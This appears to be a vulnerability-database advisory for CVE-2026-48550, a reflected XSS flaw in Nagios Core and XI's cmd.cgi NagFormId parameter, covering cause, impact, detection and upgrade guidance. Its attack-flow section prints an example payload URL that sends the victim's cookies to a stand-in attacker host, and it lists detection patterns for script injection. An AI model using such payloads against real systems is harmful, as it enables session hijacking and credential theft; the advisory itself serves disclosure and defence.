
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-48550 is a reflected cross-site scripting (XSS) vulnerability in Nagios Core and Nagios XI affecting the cmd.cgi component via the NagFormId parameter. An unauthenticated remote attacker can craft a malicious link that, when clicked by an authenticated Nagios user, executes arbitrary JavaScript in the victim's browser. Affected versions include Nagios Core before 4.5.14 and Nagios XI before 2026R1.7. The vulnerability was published on August 12, 2026, with a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (GitHub Advisory, Feedly).
The root cause is improper neutralization of user-controllable input in the NagFormId parameter within cmd.cgi before it is reflected back in the HTTP response (CWE-79). Because the parameter value is not sanitized or encoded before being rendered in the page, an attacker can inject arbitrary HTML/JavaScript that executes in the context of the authenticated user's browser session. The fix was credited to Zach Hanley of Horizon3.ai and was included in Nagios Core 4.5.14, released August 5, 2026, which also addressed related issues in notification macros, jsonquery.js, and CSRF cookie handling (Nagios Changelog, GitHub Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of an authenticated Nagios user, enabling session hijacking, credential theft, and unauthorized actions performed on behalf of the victim within the Nagios interface. Because Nagios is typically used to monitor critical infrastructure, a compromised administrator session could allow an attacker to manipulate monitoring configurations, suppress alerts, or pivot to monitored systems. There is no direct impact on availability, but confidentiality and integrity of the subsequent (browser) system are affected at a low level (GitHub Advisory, Feedly).
No public proof-of-concept exploit code has been observed, and there is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.27% (19th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires social engineering to trick an authenticated user into clicking a crafted link, making it non-automatable (GitHub Advisory, Feedly).
cmd.cgi endpoint with a malicious JavaScript payload injected into the NagFormId parameter, e.g., https://target/nagios/cgi-bin/cmd.cgi?NagFormId=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.cmd.cgi with the unsanitized NagFormId value, executing the injected JavaScript in the user's browser session./nagios/cgi-bin/cmd.cgi containing URL-encoded script tags or JavaScript event handlers in the NagFormId parameter; outbound requests from user browsers to unexpected external domains shortly after accessing cmd.cgi.cmd.cgi with unusual or encoded values in the NagFormId parameter (e.g., %3Cscript%3E, javascript:, onerror=, onload=); referrer headers pointing to external or unexpected sources.Upgrade Nagios Core to version 4.5.14 or later, and Nagios XI to version 2026R1.7 or later, which include the fix for reflected XSS in cmd.cgi. As interim mitigations, implement Content Security Policy (CSP) headers to restrict inline script execution, and educate users to avoid clicking unsolicited links pointing to Nagios endpoints. Restricting access to the Nagios web interface to trusted networks or VPN users reduces the attack surface (Nagios Changelog, GitHub Advisory).
The vulnerability was discovered and reported by Zach Hanley of Horizon3.ai, who was credited in the Nagios Core 4.5.14 changelog alongside fixes for several related security issues in the same release. No significant broader community or media commentary has been observed beyond standard vulnerability database entries (Nagios Changelog).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."